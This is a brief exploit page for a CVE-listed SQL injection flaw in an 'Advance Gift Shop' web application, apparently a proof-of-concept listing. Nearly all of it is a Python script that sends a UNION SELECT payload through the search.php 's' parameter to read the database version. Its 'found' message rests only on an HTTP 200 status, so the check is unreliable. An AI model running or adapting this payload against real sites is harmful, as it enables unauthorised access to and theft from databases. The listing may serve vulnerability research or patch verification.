CVE-2019-25680 Advance Gift Shop SQL注入漏洞

import requests def check_sqli(url): # Target endpoint example, adjust based on actual application path target = f"{url}/search.php" # Payload to extract database version using MySQL payload = "1' UNION SELECT 1, version(), 3, 4-- -" params = { "s": payload } try: response = requests.get(target, params=params, timeout=5) if response.status_code == 200: print(f"[+] Potential SQL Injection found at {target}") print(f"[+] Response length: {len(response.text)}") print(f"[+] Payload used: {payload}") # Further analysis of response.text needed to confirm data leakage else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target_url = "http://example.com" # Replace with actual target check_sqli(target_url)